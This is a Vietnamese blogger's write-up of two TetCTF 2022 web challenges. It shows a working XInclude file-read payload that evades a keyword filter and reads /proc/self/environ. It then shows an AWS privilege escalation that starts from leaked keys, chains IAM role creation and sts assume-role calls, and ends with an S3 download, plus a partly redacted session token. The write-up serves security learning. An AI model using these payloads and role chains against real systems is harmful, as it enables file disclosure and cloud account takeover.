Cứ mỗi độ Tết Dương về, chúng ta lại có TetCTF để "khai hack" đầu năm. Năm nay mình khai hack không được tốt cho lắm khi giải được có mỗi 2 bài web, các category còn lại thì mấy thằng teammate "0ni0n" hầu như "ngoài vùng phủ sóng" hết trong quá trình thi nên kết quả chung cuộc của team mình khá fail :< Không sao, mục đích của mình đi thi là để học hỏi là chủ yếu, chứ giải này out trình thế mình cx ko dám đua top :D
[+] Source
/source
để lấy source về đọc cho chắc.Web app sử dụng Flask để render các static file, flask_socketio để xử lý các WebSocket và ElementTree XML API để parse XML data có trong WebSocket. Các bạn chưa hiểu WebSocket có thể đọc tại đây.
Đoạn code mà chúng ta cần chú ý ở đây:
@socketio.on('message')
def handle_message(xpath, xml):
if len(xpath) != 0 and len(xml) != 0 and "text" not in xml.lower():
try:
res = ''
root = ElementTree.fromstring(xml.strip())
ElementInclude.include(root)
for elem in root.findall(xpath):
if elem.text != "":
res += elem.text + ", "
emit('result', res[:-2])
except Exception as e:
emit('result', 'Nani?')
else:
emit('result', 'Nani?')
handle_message
đảm nhận vai trò là server-side event handler
cho một unnamed event gửi đến server, hay còn gọi là các message. Message được gửi đến server cần phải có đủ 2 thành phần là xpath và xml, đồng thời bên trong string xml đã được lowercase không được chứa "text", nếu không server sẽ gửi reply message đến client đang connect đến với value "Nani?" ứng với key "result":
if len(xpath) != 0 and len(xml) != 0 and "text" not in xml.lower():
...
else:
emit('result', 'Nani?')
try:
res = ''
root = ElementTree.fromstring(xml.strip())
ElementInclude.include(root)
for elem in root.findall(xpath):
if elem.text != "":
res += elem.text + ", "
emit('result', res[:-2])
except Exception as e:
emit('result', 'Nani?')
–> Tóm lại sẽ có 2 tình huống sau khiến browser alert ra message "Nani?" khi chúng ta submit form:
+ Không nhập vào cái gì, hoặc thiếu một trong 2 field xpath và xml
+ String nhập vào XML không phải là một XML data hợp lệ.
data.xml
rồi đọc vào và XPATH sẽ được input từ bàn phím. Các quá trình xử lý XML data vẫn giữ nguyên không đổi.
# xml_parse.py
from xml.etree import ElementTree, ElementInclude
xml = open("data.xml", "r").read()
print("XPATH: ")
xpath = input()
try:
res = ''
root = ElementTree.fromstring(xml.strip())
ElementInclude.include(root)
for elem in root.findall(xpath):
if elem.text != "":
res += elem.text + ", "
print('result:', res[:-2])
except Exception as e:
print("Nani?")
# data.xml
<?xml version='1.0'?>
<!DOCTYPE resources [
<!ENTITY te "te">
<!ENTITY xt "xt">
]>
<document xmlns:xi="http://www.w3.org/2001/XInclude">
<data>
Hello World
</data>
</document>
XPATH='data'
, khi đó:data
. Chúng ta hoàn toàn có thể lợi dụng điều này để đọc một file bất kì, chỉ cần chỉnh sửa một chút ở file data.xml
, với flag.txt
là một file bất kì với nội dung là hahahahahahaa
:
# data.xml
<?xml version='1.0'?>
<!DOCTYPE resources [
<!ENTITY text "text">
]>
<document xmlns:xi="http://www.w3.org/2001/XInclude">
<data>This document is about
<xi:include href="flag.txt" parse="&text;"/>
</data>
</document>
"text" not in xml.lower()
, "text" không được phép có trong XML string. Vậy chúng ta bypass bằng cách nào? Rất đơn giản, chỉ cần chia đôi string "text" rồi bỏ nó vào 2 entity riêng rồi truyền vào attribute "parse". Kết quả vẫn sẽ giống như trên.
# data.xml
<?xml version='1.0'?>
<!DOCTYPE resources [
<!ENTITY te "te">
<!ENTITY xt "xt">
]>
<document xmlns:xi="http://www.w3.org/2001/XInclude">
<data>This document is about
<xi:include href="flag.txt" parse="&te;&xt;"/>
</data>
</document>
flag.txt
bằng một file không tồn tại, ví dụ secret.txt
, thì nó sẽ sinh ra Exception dẫn đến in ra "Nani?":flag.txt
không tồn tại trên hệ thống, bởi vì khi mình thử đọc các file khác như /proc/meminfo
thì vẫn đọc được bình thường:/proc/self/environ
:Khá là cay cú vì alert prompt của Chrome đã giới hạn kí tự rồi, ông tác giả còn "chơi" mình bằng cách spam một dãy "dddddd…" để mình không thể đọc hết toàn bộ nội dung của file /proc/self/environ
nữa :). Mà "chơi" kiểu này thì chắc kèo flag nằm ở /proc/self/environ
rồi :D.
Mình chợt nảy ra một ý tưởng về việc đọc file /proc/self/environ
qua console khi thấy đoạn này trong doc:
socket = io()
socket.connect('http://207.148.119.136:8003')
socket.on('connect', function() {
console.log(socket.connected)
})
socket.on('result', function (data) {
console.log(data);
});
Chúng ta paste cái script trên vào console để tạo event listener "result", sau đó submit form theo thứ tự như này:
+ xpath: data
+ xml:
<?xml version='1.0'?>
<!DOCTYPE resources [
<!ENTITY te "te">
<!ENTITY xt "xt">
]>
<document xmlns:xi="http://www.w3.org/2001/XInclude">
<data>This document is about
<xi:include href="/proc/self/environ" parse="&te;&xt;"/>
</data>
</document>
TetCTF{Just_Warm_y0u_uP_:P__}
Cloud challenge đầu tiên mà mình từng chơi. BTC nói TetCTF 2022 sẽ có modern web challenge, và bài này chứng minh BTC đã cực kì uy tín :D Trân trọng cảm ơn author của bài này là anh Chi Tran (@0xfatty) đã cho mình mượn acc AWS để giải được bài này!
[+] Source
/secret
khiến mình tò mò:I've_Got_a_Secret.jpg
mà chúng ta thấy lúc nãy, còn có secret
. Thử access vào secret
thì ta lấy được file scret
về:dynamodb = boto3.resource('dynamodb', region_name='us-east-1',aws_access_key_id='A*******************',aws_secret_access_key='*DQnIi0Mhtsa*/*********************4S1Z0',region_name="us-east-1")
aws_access_key_id
và aws_secret_access_key
đã bị leak (đã che vì lí do bảo mật)!!! Thử dùng AWS CLI và config các ecurity credentials của nó với aws_access_key_id
và aws_secret_access_key
bị leak xem sao:aws dynamodb list-tables
để rồi chỉ thấy có mỗi table customers
, sau đó aws dynamodb scan --table-name customers
để xem trong table customers
có gì hay thì quả nhiên không có gì thật :D. Nếu mà giấu flag trong này luôn thì game dễ quá! Mình còn thử tạo một class có chứa payload reverse shell, serialize và ném lên DynamoDB để nó insert reverse shell vào table "customers" với hàm put_item (vì đề bài là picked onions, web app lại xài pickle làm mình liên tưởng đến lỗ hổng pickle deserialization). Nhưng mà như thế thì cũng lại dễ quá!aws_access_key_id
mà chúng ta đang dùng có role là dbb_user
, role này không được cấp quyền để put item lên. Trong lúc đang bí bách thì thằng teammate của mình @baolongv3 đã dump ra được toàn bộ các role từ service IAM (AWS Identity and Access Management) của Bucket với lệnh aws iam list-roles
(đọc về IAM tại đây):
CTF Role
luôn! Thêm quả ...Accessing_Tet_CTF_Flag*
ở Condition
thế kia thì chắc kèo đây là một role được tác giả config chỉ dành riêng cho việc đọc flag rồi. Để ý trong đoạn IAM JSON policy elements reference mô tả về CTF Role
có đoạn:
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole",
"Condition": {
"StringLike": {
"aws:PrincipalArn": "arn:aws:iam::*:role/*-Accessing_Tet_CTF_Flag*"
}
}
...
}
Đoạn JSON này cho chúng ta biết rằng bất cứ AWS account nào với role có ARN có dạng arn:aws:iam::*:role/*-Accessing_Tet_CTF_Flag*
, trong đó dầu *
có nghĩa là "viết cái gì vào cũng được", đều có thể assume vào CTF Role
này. Ví dụ chúng ta tạo 1 role có tên là antoine-Accessing_Tet_CTF_Flag_101
, sau đó ARN được tạo ra của nó sẽ là arn:aws:iam::<iam's id>:role/antoine-Accessing_Tet_CTF_Flag_101
thì nó có thể assume được CTF Role
.
Vấn đề bây giờ là chúng ta cần tạo một IAM user. Như các bạn có thể thấy trong video hướng dẫn setup IAM user, chúng ta cần có một account AWS, lúc register lại cần phải add thẻ visa, mà mình thì không có thẻ huhu =(((. Đang định chửi đây là visa challenge vì chạy ngược chạy xuôi vẫn không ai có acc AWS mà mượn thì có anh tác giả bài này là anh @0xfatty tốt bụng tạo giúp một cái IAM user cho mình chơi luôn :D
test_user
mà anh @0xfatty đưa cho thay vì ddb_user
. Trong test_user
mình sẽ tạo một role có ARN thỏa mãn điều kiện của CTF Role để có thể assume vào như ví dụ lúc nãy, bắt đầu với việc viết AssumeRolePolicyDocument:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole",
"Condition": {}
}
]
}
antoine-Accessing_Tet_CTF_Flag_101
và add file test-policy.json
(AssumeRolePolicyDocument) trên kia vào:
C:\Users\antoinenguyen\OneDrive\Documents\CTF\TetCTF2022\pickle onions>aws iam create-role --role-name antoine-Accessing_Tet_CTF_Flag_101 --assume-role-policy-document file://test-policy.json
{
"Role": {
"Path": "/",
"RoleName": "antoine-Accessing_Tet_CTF_Flag_101",
"RoleId": "ARXXXXXXXXXXXXXXXXXXX",
"Arn": "arn:aws:iam::50XXXXXXXXXX:role/antoine-Accessing_Tet_CTF_Flag_101",
"CreateDate": "2022-01-03T10:37:12+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole",
"Condition": {}
}
]
}
}
}
AccessKeyId
, SecretAccessKey
và SessionToken
sẽ được sinh ra. Tạo các enviroment variables như AWS_ACCESS_KEY_ID
, AWS_SECRET_ACCESS_KEY
và AWS_SESSION_TOKEN
tương ứng với 3 cái vừa output ra:antoine-Accessing_Tet_CTF_Flag_101
với mới assume vào thì chúng ta đã đủ điều kiện để asume tiếp vào CTF Role
. Assume được vào CTF Role
thì tiếp tục làm tương tự như sau khi vào antoine-Accessing_Tet_CTF_Flag_101
:
C:\Users\antoinenguyen\OneDrive\Documents\CTF\TetCTF2022\pickle onions>aws sts assume-role --role-arn "arn:aws:iam::509530203012:role/CTF_ROLE" --role-session-name antoinerolesession1
{
"Credentials": {
"AccessKeyId": "AXXXXXXXXXXXXXXXXXX",
"SecretAccessKey": "Q5di89p/fXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/",
"SessionToken": "IQoJb3JpZ2luX2VjEFMaCXVzLWVhc3QtMSJHMEUCIF666+UdD/zto6xA2YYxgo/UaKArvy22EDZjZ/JBLQlfAiEAgyCTIjz7WFwYKvkU/EsZxMUtGGU+lQaJp9NaOtMeS68qoAIIXBAAGgw1MDk1MzAyMDMwMTIiDAv8Jom3IWmxzlvp0Cr9AaWM2E1u4newbw1q0KFVKBmibwD+4WkuWiuYzc4JOMt+IAzk3c9/UlvCdV561XI1tyGsyKfy1b3G/nlVrttnuxChD1scfZ+6ArEmSBcCOtp5LjyhAT38eiD7ZVua2jIcBF8XePjTgbhOG556Zmwln5IhFuaBgcl0Zk79NHKY9gWgUFDZhQSIRBd+io3w/QogmbChW1tts/LHORtN53fDNdtyb8SK04+oldYHQDyzo4kmxLxAZLkWj2HHzRBiVdwx/kDcL4xzh3P8dwU4u4uoXe6BRpONIIYWrCcceDuGf5zG0IxHzeQgpXXSPSHBg30CXYftH/H7b80YL3N54nYw4KrLjgY6nQFDd4rPpPjdZwldVrGRBJ73VcK+akqcAP3qgRNAiFPQN9qnUs5vdqm/3P10DKFMbe/ZlWuvYhw3l/tnYLgAOxxxtV7RbyQoE/R9TfQuDDwM2yMTiTBcPmd/LTONF5nI/1u5cGvdeXt6fBmK15vAo1mo9FpkxtOoB4LTWCkOi1WxG1Xows+AqSYIcfZQQAbApjFn0Ympl+pennZeSdCW",
"Expiration": "2022-01-03T11:52:16+00:00"
},
"AssumedRoleUser": {
"AssumedRoleId": "AXXXXXXXXXXXXXXXXXXXX:antoinerolesession1",
"Arn": "arn:aws:sts::5XXXXXXXXXXX:assumed-role/CTF_ROLE/antoinerolesession1"
}
}
C:\Users\antoinenguyen\OneDrive\Documents\CTF\TetCTF2022\pickle onions>SET AWS_ACCESS_KEY_ID=<AccessKeyId>
C:\Users\antoinenguyen\OneDrive\Documents\CTF\TetCTF2022\pickle onions>SET AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
C:\Users\antoinenguyen\OneDrive\Documents\CTF\TetCTF2022\pickle onions>SET AWS_SESSION_TOKEN=<SessionToken>
CTF Role
chưa cho chắc
C:\Users\antoinenguyen\OneDrive\Documents\CTF\TetCTF2022\pickle onions>aws sts get-caller-identity
{
"UserId": "AXXXXXXXXXXXXXXXXXXXX:antoinerolesession1",
"Account": "509530203012",
"Arn": "arn:aws:sts::5XXXXXXXXXXX:assumed-role/CTF_ROLE/antoinerolesession1"
}
C:\Users\antoinenguyen\OneDrive\Documents\CTF\TetCTF2022\pickle onions>aws s3api list-buckets --query "Buckets[].Name"
[
"secret-tetctf",
"tet-ctf-secret"
]
C:\Users\antoinenguyen\OneDrive\Documents\CTF\TetCTF2022\pickle onions>aws s3 ls s3://tet-ctf-secret
2021-12-29 22:18:42 29 flag
C:\Users\antoinenguyen\OneDrive\Documents\CTF\TetCTF2022\pickle onions>aws s3 cp s3://tet-ctf-secret/flag flag.txt
download: s3://tet-ctf-secret/flag to .\flag.txt
Flag đã được down về current directory, chỉ việc lấy ra và submit nữa thôi:
TetCTF{AssumE_R0le-iS-A-MuSt}